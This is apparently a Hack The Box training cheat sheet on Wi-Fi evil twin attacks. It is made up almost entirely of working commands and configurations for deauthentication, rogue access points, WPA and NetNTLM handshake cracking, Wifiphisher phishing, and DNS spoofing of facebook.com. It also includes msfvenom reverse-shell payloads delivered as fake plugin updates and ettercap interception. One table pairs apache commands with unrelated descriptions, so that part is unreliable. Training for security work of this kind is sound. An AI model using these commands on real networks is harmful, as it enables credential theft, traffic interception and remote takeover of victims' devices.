



WI-FI EVIL TWIN ATTACKS

CHEAT SHEET

Manual Evil Twin Attacks

Enumeration

Command	Description
<code>sudo airmon-ng start wlan0</code>	Set the wlan0 interface to monitor mode
<code>sudo airodump-ng wlan0mon</code>	Scan for available networks
<code>sudo airodump-ng wlan0mon -w HTB -c 1</code>	Scan for available networks on channel 1, and save network traffic to a file
<code>sudo aireplay-ng --deauth 5 -a D4:C1:8B:79:AD:45 wlan0mon</code>	Deauthenticating an access point.
<code>sudo aireplay-ng --deauth 5 -a D4:C1:8B:79:AD:45 -c 02:00:00:00:01:00 wlan0mon</code>	Deauthenticating a specific client from an access point.

Deauthentication

Command	Description
<code>sudo aireplay-ng --deauth 5 -a D4:C1:8B:79:AD:45 wlan0mon</code>	Deauthenticating an access point.
<code>sudo aireplay-ng --deauth 5 -a D4:C1:8B:79:AD:45 -c 02:00:00:00:01:00 wlan0mon</code>	Deauthenticating a specific client from an access point.

Routing commands & configuration

DNS Config (dns.conf)

```
interface=wlan1
dhcp-range=192.168.0.2,192.168.0.254,255.255.255.0,10h
dhcp-option=3,192.168.0.1
dhcp-option=6,192.168.0.1
server=8.8.4.4
server=8.8.8.8
listen-address=127.0.0.1
address=/#/192.168.0.1
log-dhcp
log-queries
```

Command	Description
sudo dnsmasq -C dns.conf -d	Launch the DNS/DHCP service with our conguration.
sudo ifconfig wlan1 192.168.0.1/24	Configure valid IP address for the network interface to be used to host the rogue AP.
sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'	Enable IP forwarding
sudo ifconfig wlan1 down	Shut down the wlan1 interface.
sudo macchanger -m D4:C1:8B:79:AD:44 wlan1	Assign a spoofed MAC address to the wlan1 interface.
sudo ifconfig wlan1 up	Start the wlan1 interface.
sudo dnsspoof -i wlan1	Redirect traffic from the victim to our attack host
sudo iptables --append POSTROUTING --table nat --out-interface eth0 -j MASQUERADE	Enable NAT masquerading
sudo iptables --append FORWARD --in-interface wlan0 -j ACCEPT	Accept traffic from the wlan0 interface.

Password Cracking

Command	Description
hcxhash2cap --hccapx=handshake.hccapx -c handshake.pcap	Converts a captured WPA handshake into a pcap.

Command	Description
hcxpcapngtool handshake.pcap -o hash.22000	Converts the pcap to a Hashcat compatible hash format.
hashcat -a 0 -m 22000 hash.22000 /opt/wordlist.txt --force	Cracking WPA/WPA2 hash.
hashcat -m 5500 -a 0 Administrator::::54as5<SNIP>5s5:as65a4sd564d1a2s wordlist.dict	Cracking NetNTLM hash.

Rogue Access Point Usage

Command	Description
sudo hostapd hostapd.conf	Launching a wireless access point with hostapd (Host Access Point Daemon) .
sudo hostapd-mana hostapd.conf	Launching hostapd-mana , a modified version of hostapd optimized for rogue AP attacks and credential harvesting.
sudo hostapd-wp2 hostapd.conf	Launching hostapd-wpe , a modified version of hostapd designed to target WPA-2 Enterprise networks and EAP-based authentication methods.

Hostapd configurations (hostapd.conf)

Open Network

```
interface=wlan1
hw_mode=g
ssid=HTB-Corp
channel=1
driver=nl80211
```

Mana Loud

```
interface=wlan1
driver=nl80211
hw_mode=g
channel=1
ssid=Anything
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=Anything

# Mana Configuration
enable_mana=1
mana_loud=1
```


WPA2 Handshake Capture

```
interface=wlan1
driver=nl80211
hw_mode=g
channel=1
ssid=HackMe
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=anything
mana_wpaout=handshake.hccapx
```

Enterprise Rogue AP

```
# 802.11 Options
interface=wlan1
ssid=HTB-Wireless
channel=1
auth_algs=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
wpa=3
hw_mode=g
ieee8021x=1

# EAP Configuration
eap_server=1
eap_user_file=hostapd.eap_user
```

Certificates

```
ca_cert=ca.pem
server_cert=server.pem
private_key=server-key.pem
private_key_passwd=whatever
dh_file=dh.pem
```

```
# Hostapd-mana Edition
# Remove comments and reload to activate
#enable_mana=1
#mana_loud=1
#mana_credout=credentials.creds
#mana_eapsuccess=1
#mana_wpe=1
```

EAP Method Negotiation [hostapd.eap_user]

```
* PEAP, TTLS, TLS, MD5, GTC, FAST
"t" TTLS-PAP, GTC, TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2, MSCHAPV2, MD5, GTC, TTLS, TTLS-MSCHAP "challenge1234" [2]
```

Automated Evil Twin Attacks

Wifiphisher

Command	Description
sudo systemctl restart NetworkManager	Ensures that WiFi interfaces are restored and ready, before initiating an attack.
wifiphisher --ssid "FREE WI-FI" -p oauth-login -kB -kN	Launch the OAuth phishing attack.
wifiphisher -aI wlan0 -eI wlan1 -p firmware-upgrade --handshake-capture HTB-01.cap -kN	Launch the firmware upgrade phishing attack.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf	Generates a malicious ELF file.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > shell.exe	Generates a malicious Portable Executable.
wifiphisher -aI wlan0 -eI wlan1 -p plugin_update --payload-path /home/wifi/shell.elf -kN	Launch the plugin update phishing attack.
nc -nvlp 4444	Starts a netcat listener.

EAPHammer

Command	Description
sudo /opt/eaphammer/eaphammer --cert-wizard	Creates self-signed certificates for the rogue AP.
sudo /opt/eaphammer/eaphammer -i wlan1 --auth wpa-eap --ssid HTB-Wireless --creds --negotiate balanced --ssid-stripping '\x20'	Launches the ESSID-stripped rogue AP

ESSID Stripping

Character	Description
\x20	Add a space, like a white space after ESSID
\x00	For NULL after ESSID, it'll omit all characters after it
\t	Add tab after ESSID

Character	Description
<code>\r</code>	Add new line after ESSID
<code>\n</code>	For a enter, similar to '\r' after ESSID

MITM Attacks

DNS Spoofing

Command	Description
<code>sudo wifipumpkin3</code>	Launch wifipumpkin3.
<code>set interface wlan1</code>	Set the wireless interface for the AP.
<code>set ssid HTB-Corp</code>	Set the SSID for the AP.
<code>set proxy noproxy</code>	Disable the proxy.
<code>ignore pydns_server</code>	Exclude the DNS server.
<code>ap</code>	View current settings configured for our rogue AP.
<code>show</code>	Display available modules in wifipumpkin3.
<code>use spoof.dns_spoof</code>	Select the <code>dns_spoof</code> module.
<code>set domains academy.hackthebox.com, <facebook.com></code>	Set the domain(s) to be spoofed.
<code>set redirectTo 10.0.0.1</code>	Set the IP address that DNS requests will be redirected to.
<code>start</code>	Start the DNS spoof attack
<code>back</code>	Navigate out of the dns_spoof configuration and back to the wifipumpkin3 console
<code>start</code>	Start the rogue AP.

Command	Description
start	Start the rogue AP.
sudo a2ensite intranet1.conf	Enable the first virtual host.
sudo a2ensite intranet2.conf	Enable the second virtual host.
sudo systemctl restart apache2	Restart Apache web server.
sudo aireplay-ng --deauth 5 -a 9C:9A:03:39:BD:7A wlan0mon	If necessary, perform deauthentication attack to force victims to connect to the rogue AP.

Virtual Host Configuration

/etc/apache2/sites-available/intranet1.conf

```
<VirtualHost *:80>
    ServerAdmin admin@hackthebox.com
    ServerName academy.hackthebox.com
    ServerAlias www.academy.hackthebox.com
    DocumentRoot /var/www/html
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
```

/etc/apache2/sites-available/intranet2.conf

```
<VirtualHost *:80>
    ServerAdmin admin@facebook.com
    ServerName facebook.com
    ServerAlias www.facebook.com
    DocumentRoot /var/www/html/facebook
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
```

Command	Description
sudo a2ensite intranet1.conf	View the basic help menu
sudo a2ensite intranet2.conf	View the advanced help menu
sudo systemctl restart apache2	Run SQLMap without asking for user input

SSL Interception

Routing Configuration

dns.conf

```
interface=wlan1
dhcp-range=192.168.0.2,192.168.0.254,255.255.255.0,10h
dhcp-option=3,192.168.0.1
dhcp-option=6,192.168.0.1
server=8.8.4.4
server=8.8.8.8
listen-address=127.0.0.1
address=/#/192.168.0.1
log-dhcp
log-queries
```

hostapd.conf

```
interface=wlan1
hw_mode=g
ssid=HTB-Corp
channel=1
driver=nl80211
```

Command	Description
sudo ifconfig wlan1 192.168.0.1/24	Configure the IP address for the interface that will host the fake access point.
sudo dnsmasq -c dns.conf -d	Start the DNS server.
sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'	Enable IP forwarding.
sudo hostapd hostapd.conf	Start the access point.
ettercap -T -q -M ARP -i wlan1	Initiate the SSL intercept attack